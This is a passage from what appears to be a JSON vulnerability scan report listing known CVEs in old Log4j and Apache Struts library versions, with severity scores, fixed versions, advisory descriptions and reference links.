            "https://www.cve.org/CVERecord?id=CVE-2021-44228",
            "https://www.cve.org/CVERecord?id=CVE-2021-45046",
            "https://www.debian.org/security/2021/dsa-5022",
            "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00646.html",
            "https://www.kb.cert.org/vuls/id/930724",
            "https://www.openwall.com/lists/oss-security/2021/12/14/4",
            "https://www.oracle.com/security-alerts/alert-cve-2021-44228.html",
            "https://www.oracle.com/security-alerts/cpuapr2022.html",
            "https://www.oracle.com/security-alerts/cpujan2022.html",
            "https://www.oracle.com/security-alerts/cpujul2022.html"
          ],
          "PublishedDate": "2021-12-14T19:15:00Z",
          "LastModifiedDate": "2023-10-26T07:15:00Z"
        },
        {
          "VulnerabilityID": "CVE-2021-45105",
          "PkgID": "org.apache.logging.log4j:log4j-core:2.3",
          "PkgName": "org.apache.logging.log4j:log4j-core",
          "InstalledVersion": "2.3",
          "FixedVersion": "2.12.3, 2.17.0, 2.3.1",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2021-45105",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "log4j-core: DoS in log4j 2.x with Thread Context Map (MDC) input data contains a recursive lookup and context lookup pattern",
          "Description": "Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3 and 2.3.1) did not protect from uncontrolled recursion from self-referential lookups. This allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0, 2.12.3, and 2.3.1.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-20",
            "CWE-674"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
              "V3Score": 8.6
            },
            "nvd": {
              "V2Vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V2Score": 4.3,
              "V3Score": 5.9
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "V3Score": 5.9
            }
          },
          "References": [
            "http://www.openwall.com/lists/oss-security/2021/12/19/1",
            "https://access.redhat.com/security/cve/CVE-2021-45105",
            "https://cert-portal.siemens.com/productcert/pdf/ssa-479842.pdf",
            "https://cert-portal.siemens.com/productcert/pdf/ssa-501673.pdf",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105",
            "https://issues.apache.org/jira/browse/LOG4J2-3230",
            "https://lists.debian.org/debian-lts-announce/2021/12/msg00017.html",
            "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EOKPQGV24RRBBI4TBZUDQMM4MEH7MXCY/",
            "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SIG7FZULMNK2XF6FZRU4VWYDQXNMUGAJ/",
            "https://logging.apache.org/log4j/2.x/security.html",
            "https://logging.apache.org/log4j/2.x/security.html#CVE-2021-45105",
            "https://nvd.nist.gov/vuln/detail/CVE-2021-45105",
            "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032",
            "https://security.netapp.com/advisory/ntap-20211218-0001/",
            "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd",
            "https://ubuntu.com/security/notices/USN-5203-1",
            "https://ubuntu.com/security/notices/USN-5222-1",
            "https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/Log4Shell",
            "https://www.cve.org/CVERecord?id=CVE-2021-45105",
            "https://www.debian.org/security/2021/dsa-5024",
            "https://www.kb.cert.org/vuls/id/930724",
            "https://www.openwall.com/lists/oss-security/2021/12/19/1",
            "https://www.oracle.com/security-alerts/cpuapr2022.html",
            "https://www.oracle.com/security-alerts/cpujan2022.html",
            "https://www.oracle.com/security-alerts/cpujul2022.html",
            "https://www.zerodayinitiative.com/advisories/ZDI-21-1541/"
          ],
          "PublishedDate": "2021-12-18T12:15:00Z",
          "LastModifiedDate": "2022-10-06T17:31:00Z"
        },
        {
          "VulnerabilityID": "CVE-2015-0899",
          "PkgID": "org.apache.struts:struts-core:1.3.8",
          "PkgName": "org.apache.struts:struts-core",
          "InstalledVersion": "1.3.8",
          "Status": "affected",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2015-0899",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "Apache Struts 1: input validation bypass in MultiPageValidator",
          "Description": "The MultiPageValidator implementation in Apache Struts 1 1.1 through 1.3.10 allows remote attackers to bypass intended access restrictions via a modified page parameter.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-20"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
              "V3Score": 7.5
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N",
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
              "V2Score": 5,
              "V3Score": 7.5
            },
            "redhat": {
              "V2Vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
              "V2Score": 4.3
            }
          },
          "References": [
            "http://en.sourceforge.jp/projects/terasoluna/wiki/StrutsPatch2-EN",
            "http://jvn.jp/en/jp/JVN86448949/index.html",
            "http://jvndb.jvn.jp/en/contents/2015/JVNDB-2015-000042.html",
            "http://jvndb.jvn.jp/jvndb/JVNDB-2015-000042",
            "http://www.debian.org/security/2016/dsa-3536",
            "http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html",
            "http://www.securityfocus.com/bid/74423",
            "https://access.redhat.com/security/cve/CVE-2015-0899",
            "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0899",
            "https://en.osdn.jp/projects/terasoluna/wiki/StrutsPatch2-EN",
            "https://jvn.jp/en/jp/JVN86448949/index.html",
            "https://nvd.nist.gov/vuln/detail/CVE-2015-0899",
            "https://security.netapp.com/advisory/ntap-20180629-0006/",
            "https://www.cve.org/CVERecord?id=CVE-2015-0899"
          ],
          "PublishedDate": "2016-07-04T22:59:00Z",
          "LastModifiedDate": "2018-07-01T01:29:00Z"
        },
        {
          "VulnerabilityID": "CVE-2016-1181",
          "PkgID": "org.apache.struts:struts-core:1.3.8",
          "PkgName": "org.apache.struts:struts-core",
          "InstalledVersion": "1.3.8",
          "Status": "affected",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2016-1181",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "struts: Vulnerability in ActionForm allows unintended remote operations against components on server memory",
          "Description": "ActionServlet.java in Apache Struts 1 1.x through 1.3.10 mishandles multithreaded access to an ActionForm instance, which allows remote attackers to execute arbitrary code or cause a denial of service (unexpected memory access) via a multipart request, a related issue to CVE-2015-0899.",
          "Severity": "HIGH",
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.1
            },
            "nvd": {
              "V2Vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 6.8,
              "V3Score": 8.1
            },
            "redhat": {
              "V2Vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
              "V2Score": 6.8
            }
          },
          "References": [
            "http://jvn.jp/en/jp/JVN03188560/index.html",
            "http://jvndb.jvn.jp/jvndb/JVNDB-2016-000096",
            "http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html",
            "http://www.oracle.com/technetwork/security-advisory/cpujul2016-2881720.html",
            "http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html",
            "http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html",
            "http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html",
            "http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html",
            "http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html",
            "http://www.securityfocus.com/bid/91068",
            "http://www.securityfocus.com/bid/91787",
            "http://www.securitytracker.com/id/1036056",
            "https://access.redhat.com/security/cve/CVE-2016-1181",
            "https://bugzilla.redhat.com/show_bug.cgi?id=1343538",
            "https://github.com/kawasima/struts1-forever/commit/eda3a79907ed8fcb0387a0496d0cb14332f250e8",
            "https://jvn.jp/en/jp/JVN03188560/",
            "https://nvd.nist.gov/vuln/detail/CVE-2016-1181",
            "https://security-tracker.debian.org/tracker/CVE-2016-1181",
            "https://security.netapp.com/advisory/ntap-20180629-0006/",
            "https://www.cve.org/CVERecord?id=CVE-2016-1181",
            "https://www.oracle.com/security-alerts/cpujan2020.html",
            "https://www.oracle.com/security-alerts/cpujul2020.html",
            "https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html",
            "https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html",
            "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html"
          ],
          "PublishedDate": "2016-07-04T22:59:00Z",
          "LastModifiedDate": "2020-07-15T03:15:00Z"
        },
        {
          "VulnerabilityID": "CVE-2016-1182",
          "PkgID": "org.apache.struts:struts-core:1.3.8",
          "PkgName": "org.apache.struts:struts-core",
          "InstalledVersion": "1.3.8",
          "Status": "affected",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2016-1182",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "struts: Improper input validation in Validator",
          "Description": "ActionServlet.java in Apache Struts 1 1.x through 1.3.10 does not properly restrict the Validator configuration, which allows remote attackers to conduct cross-site scripting (XSS) attacks or cause a denial of service via crafted input, a related issue to CVE-2015-0899.",
          "Severity": "HIGH",
          "CweIDs": [
            "CWE-20"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
              "V3Score": 8.2
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:N/I:P/A:P",
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
              "V2Score": 6.4,
              "V3Score": 8.2
            },
            "redhat": {
              "V2Vector": "AV:N/AC:M/Au:N/C:N/I:P/A:P",
              "V2Score": 5.8
            }
          },
          "References": [
            "http://jvn.jp/en/jp/JVN65044642/index.html",
            "http://jvndb.jvn.jp/jvndb/JVNDB-2016-000097",
            "http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html",
            "http://www.oracle.com/technetwork/security-advisory/cpujul2016-2881720.html",
            "http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html",
            "http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html",
            "http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html",
            "http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html",
            "http://www.securityfocus.com/bid/91067",
            "http://www.securityfocus.com/bid/91787",
            "http://www.securitytracker.com/id/1036056",
            "https://access.redhat.com/security/cve/CVE-2016-1182",
            "https://bugzilla.redhat.com/show_bug.cgi?id=1343540",
            "https://github.com/kawasima/struts1-forever/commit/eda3a79907ed8fcb0387a0496d0cb14332f250e8",
            "https://jvn.jp/en/jp/JVN65044642/",
            "https://nvd.nist.gov/vuln/detail/CVE-2016-1182",
            "https://security-tracker.debian.org/tracker/CVE-2016-1182",
            "https://security.netapp.com/advisory/ntap-20180629-0006/",
            "https://www.cve.org/CVERecord?id=CVE-2016-1182",
            "https://www.oracle.com/security-alerts/cpujan2020.html",
            "https://www.oracle.com/security-alerts/cpujul2020.html",
            "https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html",
            "https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html",
            "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html"
          ],
          "PublishedDate": "2016-07-04T22:59:00Z",
          "LastModifiedDate": "2020-07-15T03:15:00Z"
        },
        {
          "VulnerabilityID": "CVE-2016-6795",
          "PkgID": "org.apache.struts:struts2-core:2.3.30",
          "PkgName": "org.apache.struts:struts2-core",
          "InstalledVersion": "2.3.30",
          "FixedVersion": "2.3.31, 2.5.5",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2016-6795",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "In the Convention plugin in Apache Struts 2.3.x before 2.3.31, and 2.5 ...",
          "Description": "In the Convention plugin in Apache Struts 2.3.x before 2.3.31, and 2.5.x before 2.5.5, it is possible to prepare a special URL which will be used for path traversal and execution of arbitrary code on server side.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-22"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 7.5,
              "V3Score": 9.8
            }
          },
          "References": [
            "http://www.securityfocus.com/bid/93773",
            "https://nvd.nist.gov/vuln/detail/CVE-2016-6795",
            "https://security.netapp.com/advisory/ntap-20180629-0003/",
            "https://struts.apache.org/docs/s2-042.html"
          ],
          "PublishedDate": "2017-09-20T17:29:00Z",
          "LastModifiedDate": "2019-08-12T21:15:00Z"
        },
        {
          "VulnerabilityID": "CVE-2017-12611",
          "PkgID": "org.apache.struts:struts2-core:2.3.30",
          "PkgName": "org.apache.struts:struts2-core",
          "InstalledVersion": "2.3.30",
          "FixedVersion": "2.3.34, 2.5.12",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2017-12611",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "struts: RCE attack when using an unintentional expression in Freemarker tag instead of string literals",
          "Description": "In Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a RCE attack.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-20"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 7.5,
              "V3Score": 9.8
            },
            "redhat": {
              "V3Vector": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.1
            }
          },
          "References": [
            "http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2017-003.txt",
            "http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html",
            "http://www.securityfocus.com/bid/100829",
            "https://access.redhat.com/security/cve/CVE-2017-12611",
            "https://github.com/advisories/GHSA-8fx9-5hx8-crhm",
            "https://kb.netapp.com/support/s/article/ka51A000000CgttQAC/NTAP-20170911-0001",
            "https://nvd.nist.gov/vuln/detail/CVE-2017-12611",
            "https://struts.apache.org/docs/s2-053.html",
            "https://www.cve.org/CVERecord?id=CVE-2017-12611"
          ],
          "PublishedDate": "2017-09-20T17:29:00Z",
          "LastModifiedDate": "2019-08-12T21:15:00Z"
        },
        {
          "VulnerabilityID": "CVE-2017-5638",
          "PkgID": "org.apache.struts:struts2-core:2.3.30",
          "PkgName": "org.apache.struts:struts2-core",
          "InstalledVersion": "2.3.30",
          "FixedVersion": "2.3.32, 2.5.10.1",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2017-5638",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "struts2: RCE when performing file upload based on Jakarta Multipart parser",
          "Description": "The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-20"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
              "V3Score": 10
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
              "V2Score": 10,
              "V3Score": 10
            },
            "redhat": {
              "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            }
          },
          "References": [
            "http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html",
            "http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-5638-apache-struts-vulnerability-remote-code-execution/",
            "http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2017-002.txt",
            "http://www.eweek.com/security/apache-struts-vulnerability-under-attack.html",
            "http://www.oracle.com/technetwork/security-advisory/cpujul2017-3236622.html",
            "http://www.securityfocus.com/bid/96729",
            "http://www.securitytracker.com/id/1037973",
            "https://access.redhat.com/security/cve/CVE-2017-5638",
            "https://arstechnica.com/security/2017/03/critical-vulnerability-under-massive-attack-imperils-high-impact-sites/",
            "https://cwiki.apache.org/confluence/display/WW/S2-045",
            "https://cwiki.apache.org/confluence/display/WW/S2-046",
            "https://exploit-db.com/exploits/41570",
            "https://git1-us-west.apache.org/repos/asf?p=struts.git%3Ba=commit%3Bh=352306493971e7d5a756d61780d57a76eb1f519a",
            "https://git1-us-west.apache.org/repos/asf?p=struts.git%3Ba=commit%3Bh=6b8272ce47160036ed120a48345d9aa884477228",
            "https://git1-us-west.apache.org/repos/asf?p=struts.git;a=commit;h=352306493971e7d5a756d61780d57a76eb1f519a",
            "https://git1-us-west.apache.org/repos/asf?p=struts.git;a=commit;h=6b8272ce47160036ed120a48345d9aa884477228",
            "https://github.com/advisories/GHSA-j77q-2qqg-6989",
            "https://github.com/mazen160/struts-pwn",
            "https://github.com/rapid7/metasploit-framework/issues/8064",
            "https://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbgn03733en_us",
            "https://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbgn03749en_us",
            "https://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbhf03723en_us",
            "https://isc.sans.edu/diary/22169",
            "https://lists.apache.org/thread.html/r1125f3044a0946d1e7e6f125a6170b58d413ebd4a95157e4608041c7%40%3Cannounce.apache.org%3E",
            "https://lists.apache.org/thread.html/r1125f3044a0946d1e7e6f125a6170b58d413ebd4a95157e4608041c7@%3Cannounce.apache.org%3E",
            "https://lists.apache.org/thread.html/r6d03e45b81eab03580cf7f8bb51cb3e9a1b10a2cc0c6a2d3cc92ed0c%40%3Cannounce.apache.org%3E",
            "https://lists.apache.org/thread.html/r6d03e45b81eab03580cf7f8bb51cb3e9a1b10a2cc0c6a2d3cc92ed0c@%3Cannounce.apache.org%3E",
            "https://lists.apache.org/thread.html/r90890afea72a9571d666820b2fe5942a0a5f86be406fa31da3dd0922%40%3Cannounce.apache.org%3E",
            "https://lists.apache.org/thread.html/r90890afea72a9571d666820b2fe5942a0a5f86be406fa31da3dd0922@%3Cannounce.apache.org%3E",
            "https://nmap.org/nsedoc/scripts/http-vuln-cve2017-5638.html",
            "https://nvd.nist.gov/vuln/detail/CVE-2017-5638",
            "https://packetstormsecurity.com/files/141494/S2-45-poc.py.txt",
            "https://security.netapp.com/advisory/ntap-20170310-0001/",
            "https://struts.apache.org/docs/s2-045.html",
            "https://struts.apache.org/docs/s2-046.html",
            "https://support.lenovo.com/us/en/product_security/len-14200",
            "https://twitter.com/theog150/status/841146956135124993",
            "https://www.cve.org/CVERecord?id=CVE-2017-5638",
            "https://www.exploit-db.com/exploits/41614/",
            "https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/",
            "https://www.kb.cert.org/vuls/id/834067",
            "https://www.symantec.com/security-center/network-protection-security-advisories/SA145"
          ],
          "PublishedDate": "2017-03-11T02:59:00Z",
          "LastModifiedDate": "2023-11-07T02:49:00Z"
        },
        {
          "VulnerabilityID": "CVE-2019-0230",
          "PkgID": "org.apache.struts:struts2-core:2.3.30",
          "PkgName": "org.apache.struts:struts2-core",
          "InstalledVersion": "2.3.30",
          "FixedVersion": "2.5.22",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2019-0230",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "struts2: possible RCE due to forced double OGNL evaluation when evaluated on raw user input in tag attributes",
          "Description": "Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-1321"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 7.5,
              "V3Score": 9.8
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.1
            }
          },
          "References": [
            "http://packetstormsecurity.com/files/160108/Apache-Struts-2.5.20-Double-OGNL-Evaluation.html",
            "http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html",
            "https://access.redhat.com/security/cve/CVE-2019-0230",
            "https://cwiki.apache.org/confluence/display/ww/s2-059",
            "https://github.com/apache/struts",
            "https://launchpad.support.sap.com/#/notes/2982840",
            "https://lists.apache.org/thread.html/r1125f3044a0946d1e7e6f125a6170b58d413ebd4a95157e4608041c7%40%3Cannounce.apache.org%3E",
            "https://lists.apache.org/thread.html/r1125f3044a0946d1e7e6f125a6170b58d413ebd4a95157e4608041c7@%3Cannounce.apache.org%3E",
            "https://lists.apache.org/thread.html/r90890afea72a9571d666820b2fe5942a0a5f86be406fa31da3dd0922%40%3Cannounce.apache.org%3E",
            "https://lists.apache.org/thread.html/r90890afea72a9571d666820b2fe5942a0a5f86be406fa31da3dd0922@%3Cannounce.apache.org%3E",
            "https://nvd.nist.gov/vuln/detail/CVE-2019-0230",
            "https://www.cve.org/CVERecord?id=CVE-2019-0230",
            "https://www.oracle.com/security-alerts/cpuApr2021.html",
            "https://www.oracle.com/security-alerts/cpujan2021.html",
            "https://www.oracle.com/security-alerts/cpuoct2021.html"
          ],
          "PublishedDate": "2020-09-14T17:15:00Z",
          "LastModifiedDate": "2023-11-07T03:01:00Z"
        },
        {
          "VulnerabilityID": "CVE-2020-17530",
          "PkgID": "org.apache.struts:struts2-core:2.3.30",
          "PkgName": "org.apache.struts:struts2-core",
          "InstalledVersion": "2.3.30",
          "FixedVersion": "2.5.26",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2020-17530",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "struts2: using forced OGNL evaluation on untrusted user input can lead to a RCE and security degradation",
          "Description": "Forced OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution. Affected software : Apache Struts 2.0.0 - Struts 2.5.25.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-917"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 7.5,
              "V3Score": 9.8
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.1
            }
          },
          "References": [
            "http://jvn.jp/en/jp/JVN43969166/index.html",
            "http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html",
            "http://www.openwall.com/lists/oss-security/2022/04/12/6",
            "https://access.redhat.com/security/cve/CVE-2020-17530",
            "https://cwiki.apache.org/confluence/display/WW/S2-061",
            "https://nvd.nist.gov/vuln/detail/CVE-2020-17530",
            "https://security.netapp.com/advisory/ntap-20210115-0005/",
            "https://www.cve.org/CVERecord?id=CVE-2020-17530",
            "https://www.oracle.com//security-alerts/cpujul2021.html",
            "https://www.oracle.com/security-alerts/cpuApr2021.html",
            "https://www.oracle.com/security-alerts/cpuapr2022.html",
            "https://www.oracle.com/security-alerts/cpujan2021.html",
            "https://www.oracle.com/security-alerts/cpujan2022.html",
            "https://www.oracle.com/security-alerts/cpuoct2021.html"
          ],
          "PublishedDate": "2020-12-11T02:15:00Z",
          "LastModifiedDate": "2022-06-03T16:38:00Z"
        },
        {
          "VulnerabilityID": "CVE-2021-31805",
          "PkgID": "org.apache.struts:struts2-core:2.3.30",
          "PkgName": "org.apache.struts:struts2-core",
          "InstalledVersion": "2.3.30",
          "FixedVersion": "2.5.30",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2021-31805",
          "DataSource": {
            "ID": "ghsa",
            "Name": "GitHub Security Advisory Maven",
            "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven"
          },
          "Title": "Apache Struts: Forced OGNL evaluation, when evaluated on raw not validated user input in tag attributes, may lead to RCE.",
          "Description": "The fix issued for CVE-2020-17530 was incomplete. So from Apache Struts 2.0.0 to 2.5.29, still some of the tag’s attributes could perform a double evaluation if a developer applied forced OGNL evaluation by using the %{...} syntax. Using forced OGNL evaluation on untrusted user input can lead to a Remote Code Execution and security degradation.",
          "Severity": "CRITICAL",
          "CweIDs": [
            "CWE-917"
          ],
          "CVSS": {
            "ghsa": {
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 9.8
            },
            "nvd": {
              "V2Vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
              "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V2Score": 7.5,
              "V3Score": 9.8
            },
            "redhat": {
              "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "V3Score": 8.1
            }
          },
          "References": [
            "http://www.openwall.com/lists/oss-security/2022/04/12/6",
            "https://access.redhat.com/security/cve/CVE-2021-31805",
            "https://cwiki.apache.org/confluence/display/WW/S2-062",
            "https://nvd.nist.gov/vuln/detail/CVE-2021-31805",
            "https://security.netapp.com/advisory/ntap-20220420-0001/",
            "https://www.cve.org/CVERecord?id=CVE-2021-31805",
            "https://www.oracle.com/security-alerts/cpujul2022.html"
          ],
          "PublishedDate": "2022-04-12T16:15:00Z",
          "LastModifiedDate": "2022-07-25T18:15:00Z"
        },
        {
          "VulnerabilityID": "CVE-2012-1592",
          "PkgID": "org.apache.struts:struts2-core:2.3.30",
          "PkgName": "org.apache.struts:struts2-core",
          "InstalledVersion": "2.3.30",
          "FixedVersion": "2.5.22",
          "Status": "fixed",
          "Layer": {},
          "SeveritySource": "ghsa",
          "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2012-1592",
          "DataSource": {
            "ID": "ghsa",
